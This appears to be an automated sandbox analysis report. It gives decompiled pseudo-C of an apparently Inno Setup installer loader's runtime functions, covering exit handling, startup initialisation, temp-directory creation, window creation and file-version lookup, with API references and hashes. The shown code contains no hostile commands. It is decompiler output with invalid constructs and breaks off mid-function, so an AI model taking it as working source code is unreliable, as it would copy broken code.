							ExitProcess( *0x4b7000); // executed
						}
						memcpy(0x4bdb98,  *0x4bdb98, 0xc << 2);
						_t56 = _t56 + 0xc;
						0x4b7000 = 0x4b7000;
						0x4bdb98 = 0x4bdb98;
						goto L8;
					} else {
						_t20 = E004054B4();
						_t44 = _t20;
						if(_t20 == 0) {
							goto L14;
						} else {
							goto L13;
						}
						do {
							L13:
							E00405CE8(_t44);
							_t23 = E004054B4();
							_t44 = _t23;
						} while (_t23 != 0);
						goto L14;
					}
				} else {
					do {
						_t33 =  *0x4bb054; // 0x0
						 *0x4bb054 = 0;
						 *_t33();
					} while ( *0x4bb054 != 0);
					L8:
					while(1) {
					}
				}
			}

0x00407764
0x00407766
0x0040776b
0x00407772
0x00407772
0x0040777e
0x00407792
0x0040779c
0x0040779c
0x004077a5
0x004077c9
0x004077cd
0x004077d6
0x004077d6
0x004077dd
0x004077fc
0x004077fc
0x00407805
0x0040780c
0x00407811
0x00407813
0x00407818
0x0040781b
0x0040781b
0x0040781e
0x00407821
0x00407828
0x00407828
0x00407821
0x00407811
0x0040782f
0x00407838
0x0040783a
0x0040783a
0x00407841
0x00407845
0x00407845
0x0040784d
0x00407856
0x00407858
0x00407858
0x00407861
0x00407861
0x00407873
0x00407873
0x00407875
0x00407876
0x00000000
0x004077df
0x004077df
0x004077e4
0x004077e8
0x00000000
0x00000000
0x00000000
0x00000000
0x004077ea
0x004077ea
0x004077ec
0x004077f1
0x004077f6
0x004077f8
0x00000000
0x004077ea
0x004077b0
0x004077b0
0x004077b0
0x004077b9
0x004077be
0x004077c0
0x00000000
0x004077c9
0x00000000
0x004077c9

APIs

GetCurrentThreadId.KERNEL32 ref: 00407780
FreeLibrary.KERNEL32(00400000,?,?,?,0040788A,004054FF,00405546,?,?,0040555F,?,?,?,?,00453AEA,00000000), ref: 00407828
ExitProcess.KERNEL32(00000000,?,?,?,0040788A,004054FF,00405546,?,?,0040555F,?,?,?,?,00453AEA,00000000), ref: 00407861

Part of subcall function 004076B8: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00407770,?,?,?,0040788A,004054FF,00405546,?,?,0040555F), ref: 004076F1
Part of subcall function 004076B8: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00407770,?,?,?,0040788A,004054FF,00405546,?,?), ref: 004076F7
Part of subcall function 004076B8: GetStdHandle.KERNEL32(000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00407770,?,?,?), ref: 00407712
Part of subcall function 004076B8: WriteFile.KERNEL32(00000000,000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00407770,?,?), ref: 00407718

Strings

MZP, xrefs: 00407827

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID: MZP
API String ID: 3490077880-2889622443
Opcode ID: 1ba9ccdc5e5ec41ea7066db700fb32a50d39e50ecd0d58aa72eac7c5645d258d
Instruction ID: 4bb8ca2865ae45d0ec72c9e6ca862cba493d08d50c1d65b63798a8296780cd14
Opcode Fuzzy Hash: 1ba9ccdc5e5ec41ea7066db700fb32a50d39e50ecd0d58aa72eac7c5645d258d
Instruction Fuzzy Hash: 76317220E087415BE721BB7A888875B76E09B45315F14897FE541A33D2D77CB884CB6F

Uniqueness

Uniqueness Score: -1.00%

Function 00407748, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86
threadCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00407748() {
				intOrPtr* _t14;
				void* _t23;
				void* _t26;
				intOrPtr _t34;
				intOrPtr* _t36;
				void* _t50;
				struct HINSTANCE__* _t53;
				void* _t62;

				 *((intOrPtr*)(_t14 +  *_t14)) =  *((intOrPtr*)(_t14 +  *_t14)) + _t14 +  *_t14;
				if( *0x4b7004 != 0) {
					E00407630();
					E004076B8(_t50);
					 *0x4b7004 = 0;
				}
				if( *0x4bdbcc != 0 && GetCurrentThreadId() ==  *0x4bdbf4) {
					E00407388(0x4bdbc8);
					E0040768C(0x4bdbc8);
				}
				if( *0x004BDBC0 != 0 ||  *0x4bb054 == 0) {
					L9:
					if( *((char*)(0x4bdbc0)) == 2 &&  *0x4b7000 == 0) {
						 *0x004BDBA4 = 0;
					}
					if( *((char*)(0x4bdbc0)) != 0) {
						L15:
						E004073B0();
						if( *((char*)(0x4bdbc0)) <= 1 ||  *0x4b7000 != 0) {
							_t18 =  *0x004BDBA8;
							if( *0x004BDBA8 != 0) {
								E0040B40C(_t18);
								_t34 =  *((intOrPtr*)(0x4bdba8));
								_t8 = _t34 + 0x10; // 0x400000
								_t53 =  *_t8;
								_t9 = _t34 + 4; // 0x400000
								if(_t53 !=  *_t9 && _t53 != 0) {
									FreeLibrary(_t53);
								}
							}
						}
						E00407388(0x4bdb98);
						if( *((char*)(0x4bdbc0)) == 1) {
							 *0x004BDBBC();
						}
						if( *((char*)(0x4bdbc0)) != 0) {
							E0040768C(0x4bdb98);
						}
						if( *0x4bdb98 == 0) {
							if( *0x4bb038 != 0) {
								 *0x4bb038();
							}
							ExitProcess( *0x4b7000); // executed
						}
						memcpy(0x4bdb98,  *0x4bdb98, 0xc << 2);
						_t62 = _t62 + 0xc;
						0x4b7000 = 0x4b7000;
						0x4bdb98 = 0x4bdb98;
						goto L9;
					} else {
						_t23 = E004054B4();
						_t48 = _t23;
						if(_t23 == 0) {
							goto L15;
						} else {
							goto L14;
						}
						do {
							L14:
							E00405CE8(_t48);
							_t26 = E004054B4();
							_t48 = _t26;
						} while (_t26 != 0);
						goto L15;
					}
				} else {
					do {
						_t36 =  *0x4bb054; // 0x0
						 *0x4bb054 = 0;
						 *_t36();
					} while ( *0x4bb054 != 0);
					L9:
					while(1) {
					}
				}
			}

0x0040774a
0x00407764
0x00407766
0x0040776b
0x00407772
0x00407772
0x0040777e
0x00407792
0x0040779c
0x0040779c
0x004077a5
0x004077c9
0x004077cd
0x004077d6
0x004077d6
0x004077dd
0x004077fc
0x004077fc
0x00407805
0x0040780c
0x00407811
0x00407813
0x00407818
0x0040781b
0x0040781b
0x0040781e
0x00407821
0x00407828
0x00407828
0x00407821
0x00407811
0x0040782f
0x00407838
0x0040783a
0x0040783a
0x00407841
0x00407845
0x00407845
0x0040784d
0x00407856
0x00407858
0x00407858
0x00407861
0x00407861
0x00407873
0x00407873
0x00407875
0x00407876
0x00000000
0x004077df
0x004077df
0x004077e4
0x004077e8
0x00000000
0x00000000
0x00000000
0x00000000
0x004077ea
0x004077ea
0x004077ec
0x004077f1
0x004077f6
0x004077f8
0x00000000
0x004077ea
0x004077b0
0x004077b0
0x004077b0
0x004077b9
0x004077be
0x004077c0
0x00000000
0x004077c9
0x00000000
0x004077c9

APIs

GetCurrentThreadId.KERNEL32 ref: 00407780
FreeLibrary.KERNEL32(00400000,?,?,?,0040788A,004054FF,00405546,?,?,0040555F,?,?,?,?,00453AEA,00000000), ref: 00407828
ExitProcess.KERNEL32(00000000,?,?,?,0040788A,004054FF,00405546,?,?,0040555F,?,?,?,?,00453AEA,00000000), ref: 00407861

Part of subcall function 004076B8: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00407770,?,?,?,0040788A,004054FF,00405546,?,?,0040555F), ref: 004076F1
Part of subcall function 004076B8: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00407770,?,?,?,0040788A,004054FF,00405546,?,?), ref: 004076F7
Part of subcall function 004076B8: GetStdHandle.KERNEL32(000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00407770,?,?,?), ref: 00407712
Part of subcall function 004076B8: WriteFile.KERNEL32(00000000,000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00407770,?,?), ref: 00407718

Strings

MZP, xrefs: 00407827

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID: MZP
API String ID: 3490077880-2889622443
Opcode ID: 1e4888025ee955e8cc7e0f2d2f1a13e961f3985afae2446d4f356ca194078bac
Instruction ID: bfc25cbdcfe625b544084418af651039c1e49876b6b13a82c314e6a817d38f33
Opcode Fuzzy Hash: 1e4888025ee955e8cc7e0f2d2f1a13e961f3985afae2446d4f356ca194078bac
Instruction Fuzzy Hash: E3314D20E087419BE721BB7A888935B7BA09B05315F14897FE541A73D2D77CB884CB6F

Uniqueness

Uniqueness Score: -1.00%

Function 004B5000, Relevance: 6.0, APIs: 4, Instructions: 43
threadCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E004B5000(void* __ecx, void* __edx) {
				intOrPtr _t19;
				intOrPtr _t22;

				_push(_t22);
				_push(0x4b50d7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t22;
				 *0x4bb98c =  *0x4bb98c - 1;
				if( *0x4bb98c < 0) {
					E00405B74();
					E004051A8();
					SetThreadLocale(0x400); // executed
					E0040A250();
					 *0x4b700c = 2;
					 *0x4bb01c = 0x4036b0;
					 *0x4bb020 = 0x4036b8;
					 *0x4bb05a = 2;
					 *0x4bb060 = E0040CAA4();
					 *0x4bb008 = 0x4095a0;
					E00405BCC(E00405BB0());
					 *0x4bb068 = 0xd7b0;
					 *0x4bb344 = 0xd7b0;
					 *0x4bb620 = 0xd7b0;
					 *0x4bb050 = GetCommandLineW();
					 *0x4bb04c = E00403810();
					 *0x4bb97c = GetACP();
					 *0x4bb980 = 0x4b0;
					 *0x4bb044 = GetCurrentThreadId();
					E0040CAB8();
				}
				_pop(_t19);
				 *[fs:eax] = _t19;
				_push(0x4b50de);
				return 0;
			}

0x004b5005
0x004b5006
0x004b500b
0x004b500e
0x004b5011
0x004b5018
0x004b501e
0x004b5023
0x004b502d
0x004b5032
0x004b5037
0x004b503e
0x004b5048
0x004b5052
0x004b505e
0x004b5063
0x004b5072
0x004b5077
0x004b5080
0x004b5089
0x004b5097
0x004b50a1
0x004b50ab
0x004b50b0
0x004b50bf
0x004b50c4
0x004b50c4
0x004b50cb
0x004b50ce
0x004b50d1
0x004b50d6

APIs

SetThreadLocale.KERNEL32(00000400,00000000,004B50D7), ref: 004B502D

Part of subcall function 0040A250: InitializeCriticalSection.KERNEL32(004BDC10,004B5037,00000400,00000000,004B50D7), ref: 0040A255
Part of subcall function 0040A250: GetVersion.KERNEL32(004BDC10,004B5037,00000400,00000000,004B50D7), ref: 0040A263
Part of subcall function 0040A250: GetModuleHandleW.KERNEL32(kernel32.dll,GetThreadPreferredUILanguages,004BDC10,004B5037,00000400,00000000,004B50D7), ref: 0040A28A
Part of subcall function 0040A250: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0040A290
Part of subcall function 0040A250: GetModuleHandleW.KERNEL32(kernel32.dll,SetThreadPreferredUILanguages,00000000,kernel32.dll,GetThreadPreferredUILanguages,004BDC10,004B5037,00000400,00000000,004B50D7), ref: 0040A2A4
Part of subcall function 0040A250: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0040A2AA
Part of subcall function 0040A250: GetModuleHandleW.KERNEL32(kernel32.dll,GetThreadUILanguage,00000000,kernel32.dll,SetThreadPreferredUILanguages,00000000,kernel32.dll,GetThreadPreferredUILanguages,004BDC10,004B5037,00000400,00000000,004B50D7), ref: 0040A2BE
Part of subcall function 0040A250: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0040A2C4

Part of subcall function 0040CAA4: GetSystemInfo.KERNEL32 ref: 0040CAA8

GetCommandLineW.KERNEL32(00000400,00000000,004B50D7), ref: 004B5092

Part of subcall function 00403810: GetStartupInfoW.KERNEL32 ref: 00403821

GetACP.KERNEL32(00000400,00000000,004B50D7), ref: 004B50A6
GetCurrentThreadId.KERNEL32 ref: 004B50BA

Part of subcall function 0040CAB8: GetVersion.KERNEL32(004B50C9,00000400,00000000,004B50D7), ref: 0040CAB8

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc$InfoThreadVersion$CommandCriticalCurrentInitializeLineLocaleSectionStartupSystem
String ID:
API String ID: 2740004594-0
Opcode ID: aeeb1ef19c021384e5e919f33d2f1f63d534ea4b25bb20b8f726cabb6b9d9f22
Instruction ID: 4c04e7183c3d5c6504f231a905193e891933426fc174ea8e71756e1f90614aff
Opcode Fuzzy Hash: aeeb1ef19c021384e5e919f33d2f1f63d534ea4b25bb20b8f726cabb6b9d9f22
Instruction Fuzzy Hash: 46111CB04047449FE311BF76A8062267BA8EB05309B508A7FE110662E2EBFD15048FEE

Uniqueness

Uniqueness Score: -1.00%

Function 004AEFE8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E004AEFE8(void* __eax, long __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char* _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				int _t30;
				intOrPtr _t63;
				void* _t71;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t76;

				_t71 = __edi;
				_t54 = __ebx;
				_t75 = _t76;
				_t55 = 4;
				do {
					_push(0);
					_push(0);
					_t55 = _t55 - 1;
				} while (_t55 != 0);
				_push(_t55);
				_push(__ebx);
				_t73 = __eax;
				_t78 = 0;
				_push(_t75);
				_push(0x4af0e1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t76;
				while(1) {
					E00422D70( &_v12, _t54, _t55, _t78); // executed
					_t55 = L".tmp";
					E004AEEC8(0, _t54, L".tmp", _v12, _t71, _t73,  &_v8); // executed
					_t30 = CreateDirectoryW(E004084EC(_v8), 0); // executed
					if(_t30 != 0) {
						break;
					}
					_t54 = GetLastError();
					_t78 = _t54 - 0xb7;
					if(_t54 != 0xb7) {
						E00426F08(0x3d,  &_v32, _v8);
						_v28 = _v32;
						E00419E18( &_v36, _t54, 0);
						_v24 = _v36;
						E004232EC(_t54,  &_v40);
						_v20 = _v40;
						E00426ED8(0x81, 2,  &_v28,  &_v16);
						_t55 = _v16;
						E0041F264(_v16, 1);
						E0040711C();
					}
				}
				E00407E00(_t73, _v8);
				__eflags = 0;
				_pop(_t63);
				 *[fs:eax] = _t63;
				_push(E004AF0E8);
				E00407A80( &_v40, 3);
				return E00407A80( &_v16, 3);
			}

0x004aefe8
0x004aefe8
0x004aefe9
0x004aefeb
0x004aeff0
0x004aeff0
0x004aeff2
0x004aeff4
0x004aeff4
0x004aeff7
0x004aeff8
0x004aeffa
0x004aeffc
0x004aeffe
0x004aefff
0x004af004
0x004af007
0x004af00a
0x004af011
0x004af019
0x004af020
0x004af030
0x004af037
0x00000000
0x00000000
0x004af03e
0x004af040
0x004af046
0x004af056
0x004af05e
0x004af06a
0x004af072
0x004af07a
0x004af082
0x004af091
0x004af096
0x004af0a0
0x004af0a5
0x004af0a5
0x004af046
0x004af0b4
0x004af0b9
0x004af0bb
0x004af0be
0x004af0c1
0x004af0ce
0x004af0e0

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,?,00000000,004AF0E1,?,?,?,00000003,00000000,00000000,?,004B619F), ref: 004AF030
GetLastError.KERNEL32(00000000,00000000,?,00000000,004AF0E1,?,?,?,00000003,00000000,00000000,?,004B619F), ref: 004AF039

Strings

.tmp, xrefs: 004AF019

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: b866ae3ac5566b90e4d091c6d0119bd5c5d6e6cd69059738e462e2ab807557f0
Instruction ID: 89b964d67460c442e7c67535b057b8112791baa86db9a38931a927ffd746d2a8
Opcode Fuzzy Hash: b866ae3ac5566b90e4d091c6d0119bd5c5d6e6cd69059738e462e2ab807557f0
Instruction Fuzzy Hash: 3A218735A041089BDB00EBE1C842ADFB3B9EB49304F50447BF800F7381DA386E058BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040E450, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E450(long __eax, WCHAR* __edx, void* _a4, struct HINSTANCE__* _a8, struct HMENU__* _a12, struct HWND__* _a16, int _a20, int _a24, int _a28, int _a32, long _a36) {
				WCHAR* _v8;
				void* _t13;
				struct HWND__* _t24;
				WCHAR* _t29;
				long _t32;

				_v8 = _t29;
				_t32 = __eax;
				_t13 = E00405740();
				_t24 = CreateWindowExW(_t32, __edx, _v8, _a36, _a32, _a28, _a24, _a20, _a16, _a12, _a8, _a4); // executed
				E00405730(_t13);
				return _t24;
			}

0x0040e457
0x0040e45c
0x0040e45e
0x0040e48f
0x0040e498
0x0040e4a4

APIs

CreateWindowExW.USER32 ref: 0040E48F

Strings

InnoSetupLdrWindow, xrefs: 0040E453
STATIC, xrefs: 0040E48D

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateWindow
String ID: InnoSetupLdrWindow$STATIC
API String ID: 716092398-2209255943
Opcode ID: 4ba199ab3c1e041c72a50ebd66c3ee798d5f8225e8fee486b5eb3d70e3749009
Instruction ID: 770f17d29583ffea265d4876c6cd55b491c436ce5e2cc0b006eebdc9bc405b2a
Opcode Fuzzy Hash: 4ba199ab3c1e041c72a50ebd66c3ee798d5f8225e8fee486b5eb3d70e3749009
Instruction Fuzzy Hash: 73F07FB6600118AF9B84DE9EDC85E9B77ECEB4D264B05412ABA08E7201D634ED118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004AF1B4, Relevance: 5.0, APIs: 4, Instructions: 45
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004AF1B4(long __eax, intOrPtr __edx, long _a4, long _a8) {
				intOrPtr _v8;
				long _t5;
				long _t9;
				void* _t10;
				void* _t13;
				void* _t15;
				void* _t16;

				_t5 = __eax;
				_v8 = __edx;
				_t9 = __eax;
				_t15 = _t10 - 1;
				if(_t15 < 0) {
					L10:
					return _t5;
				}
				_t16 = _t15 + 1;
				_t13 = 0;
				while(1) {
					_t19 = _t13 - 1;
					if(_t13 != 1) {
						__eflags = _t13 - 1;
						if(__eflags > 0) {
							Sleep(_a4);
						}
					} else {
						Sleep(_a8);
					}
					_t5 = E00427154(_t9, _v8, _t19); // executed
					if(_t5 != 0) {
						goto L10;
					}
					_t5 = GetLastError();
					if(_t5 == 2) {
						goto L10;
					}
					_t5 = GetLastError();
					if(_t5 == 3) {
						goto L10;
					}
					_t13 = _t13 + 1;
					_t16 = _t16 - 1;
					if(_t16 != 0) {
						continue;
					}
					goto L10;
				}
				goto L10;
			}

0x004af1b4
0x004af1bb
0x004af1be
0x004af1c2
0x004af1c5
0x004af213
0x004af213
0x004af213
0x004af1c7
0x004af1c8
0x004af1ca
0x004af1ca
0x004af1cd
0x004af1da
0x004af1dd
0x004af1e3
0x004af1e3
0x004af1cf
0x004af1d3
0x004af1d3
0x004af1ed
0x004af1f4
0x00000000
0x00000000
0x004af1f6
0x004af1fe
0x00000000
0x00000000
0x004af200
0x004af208
0x00000000
0x00000000
0x004af20a
0x004af20b
0x004af20c
0x00000000
0x00000000
0x00000000
0x004af20c
0x00000000

APIs

Sleep.KERNEL32(?,?,?,?,0000000D,?,004B64EC,000000FA,00000032,004B6554), ref: 004AF1D3
Sleep.KERNEL32(?,?,?,?,0000000D,?,004B64EC,000000FA,00000032,004B6554), ref: 004AF1E3
GetLastError.KERNEL32(?,?,?,0000000D,?,004B64EC,000000FA,00000032,004B6554), ref: 004AF1F6
GetLastError.KERNEL32(?,?,?,0000000D,?,004B64EC,000000FA,00000032,004B6554), ref: 004AF200

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 132a67e1d44d9774a6928004e5d8cee8820d44842addde93f31c36794548402b
Instruction ID: c6a2870ed3ca6a3ef6dac7de38143878fdab2d33d6efdb0808b7300bb595a527
Opcode Fuzzy Hash: 132a67e1d44d9774a6928004e5d8cee8820d44842addde93f31c36794548402b
Instruction Fuzzy Hash: 0CF02B37B04224A76724A5EBEC46D6FE298DEB33A8710457BFC04D7302C439CC4542A8

Uniqueness

Uniqueness Score: -1.00%

Function 0041FF94, Relevance: 4.6, APIs: 3, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E0041FF94(void* __eax, void* __ebx, signed int* __ecx, signed int* __edx, void* __edi, void* __esi, signed int* _a4) {
				char _v8;
				char _v9;
				int _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _t33;
				int _t43;
				int _t64;
				intOrPtr _t72;
				intOrPtr _t74;
				signed int* _t77;
				signed int* _t79;
				void* _t81;
				void* _t82;
				intOrPtr _t83;

				_t81 = _t82;
				_t83 = _t82 + 0xffffffe8;
				_v8 = 0;
				_t77 = __ecx;
				_t79 = __edx;
				_push(_t81);
				_push(0x420094);
				_push( *[fs:eax]);
				 *[fs:eax] = _t83;
				_v9 = 0;
				E00407E48( &_v8, __eax);
				E00407FB0( &_v8);
				_t33 = GetFileVersionInfoSizeW(E004084EC(_v8),  &_v16); // executed
				_t64 = _t33;
				if(_t64 == 0) {
					_pop(_t72);
					 *[fs:eax] = _t72;
					_push(0x42009b);
					return E00407A20( &_v8);
				} else {
					_v20 = E004053F0(_t64);
					_push(_t81);
					_push(0x420077);
					_push( *[fs:edx]);
					 *[fs:edx] = _t83;
					_t43 = GetFileVersionInfoW(E004084EC(_v8), _v16, _t64, _v20); // executed
					if(_t43 != 0 && VerQueryValueW(_v20, 0x4200a8,  &_v24,  &_v28) != 0) {
						 *_t79 =  *(_v24 + 0x10) >> 0x00000010 & 0x0000ffff;
						 *_t77 =  *(_v24 + 0x10) & 0x0000ffff;
						 *_a4 =  *(_v24 + 0x14) >> 0x00000010 & 0x0000ffff;
						_v9 = 1;
					}
					_pop(_t74);
					 *[fs:eax] = _t74;
					_push(0x42007e);
					return E0040540C(_v20);
				}
			}

0x0041ff95
0x0041ff97
0x0041ff9f
0x0041ffa2
0x0041ffa4
0x0041ffaa
0x0041ffab
0x0041ffb0
0x0041ffb3
0x0041ffb6
0x0041ffbf
0x0041ffc7
0x0041ffd9
0x0041ffde
0x0041ffe2
0x00420080
0x00420083
0x00420086
0x00420093
0x0041ffe8
0x0041ffef
0x0041fff4
0x0041fff5
0x0041fffa
0x0041fffd
0x00420012
0x00420019
0x00420041
0x0042004a
0x0042005b
0x0042005d
0x0042005d
0x00420063
0x00420066
0x00420069
0x00420076
0x00420076

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,00000000,00420094), ref: 0041FFD9
GetFileVersionInfoW.VERSION(00000000,?,00000000,?,00000000,00420077,?,00000000,?,00000000,00420094), ref: 00420012
VerQueryValueW.VERSION(?,004200A8,?,?,00000000,?,00000000,?,00000000,00420077,?,00000000,?,00000000,00420094), ref: 0042002C

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: FileInfoVersion$QuerySizeValue
String ID:
API String ID: 2179348866-0
Opcode ID: db1b7188df03ba7b3b32e0e3197f16d1bbb1710ebdecda22b0e2c2fca2e7d661
Instruction ID: 087fa93cc02b824bee97242c1a4c1e6fbe52d07f241be95d6751b2a9bfa32856
Opcode Fuzzy Hash: db1b7188df03ba7b3b32e0e3197f16d1bbb1710ebdecda22b0e2c2fca2e7d661
Instruction Fuzzy Hash: 19314771A042199FD710DFA9D941DAFB7F8EB48700B91447AF944E3252D778DD00C765

Uniqueness

Uniqueness Score: -1.00%

Function 0040B110, Relevance: 3.1, APIs: 2, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0040B110(intOrPtr __eax, void* __ebx, signed int __ecx, signed int __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				signed int _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				signed int _t41;
				signed short _t43;
				signed short _t46;
				signed int _t60;
				intOrPtr _t68;
				void* _t79;
				signed int* _t81;
				intOrPtr _t84;

				_t79 = __edi;
				_t61 = __ecx;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_push(__esi);
				_t81 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00407B04(_v8);
				E00407B04(_v12);
				_push(_t84);
				_push(0x40b227);
				_push( *[fs:eax]);
				 *[fs:eax] = _t84;
				E00407A20(__ecx);
				if(_v12 == 0) {
					L14:
					_pop(_t68);
					 *[fs:eax] = _t68;
					_push(E0040B22E);
					return E00407A80( &_v28, 6);
				}
				E00407E48( &_v20, _v12);
				_t41 = _v12;
				if(_t41 != 0) {
					_t41 =  *(_t41 - 4);
				}
				_t60 = _t41;
				if(_t60 < 1) {
					L7:
					_t43 = E0040AE34(_v8, _t60, _t61,  &_v16, _t81); // executed
					if(_v16 == 0) {
						L00403730();
						E0040A7E4(_t43, _t60,  &_v24, _t79, _t81);
						_t46 = E0040AF60(_v20, _t60, _t81, _v24, _t79, _t81); // executed
						__eflags =  *_t81;
						if( *_t81 == 0) {
							__eflags =  *0x4bdc0c;
							if( *0x4bdc0c == 0) {
								L00403738();
								E0040A7E4(_t46, _t60,  &_v28, _t79, _t81);
								E0040AF60(_v20, _t60, _t81, _v28, _t79, _t81);
							}
						}
						__eflags =  *_t81;
						if(__eflags == 0) {
							E0040B044(_v20, _t60, _t81, __eflags); // executed
						}
					} else {
						E0040AF60(_v20, _t60, _t81, _v16, _t79, _t81);
					}
					goto L14;
				}
				while( *((short*)(_v12 + _t60 * 2 - 2)) != 0x2e) {
					_t60 = _t60 - 1;
					__eflags = _t60;
					if(_t60 != 0) {
						continue;
					}
					goto L7;
				}
				_t61 = _t60;
				E004088AC(_v12, _t60, 1,  &_v20);
				goto L7;
			}

0x0040b110
0x0040b110
0x0040b113
0x0040b115
0x0040b117
0x0040b119
0x0040b11b
0x0040b11d
0x0040b11f
0x0040b120
0x0040b121
0x0040b123
0x0040b126
0x0040b12c
0x0040b134
0x0040b13b
0x0040b13c
0x0040b141
0x0040b144
0x0040b149
0x0040b152
0x0040b20c
0x0040b20e
0x0040b211
0x0040b214
0x0040b226
0x0040b226
0x0040b15e
0x0040b163
0x0040b168
0x0040b16d
0x0040b16d
0x0040b16f
0x0040b174
0x0040b19b
0x0040b1a1
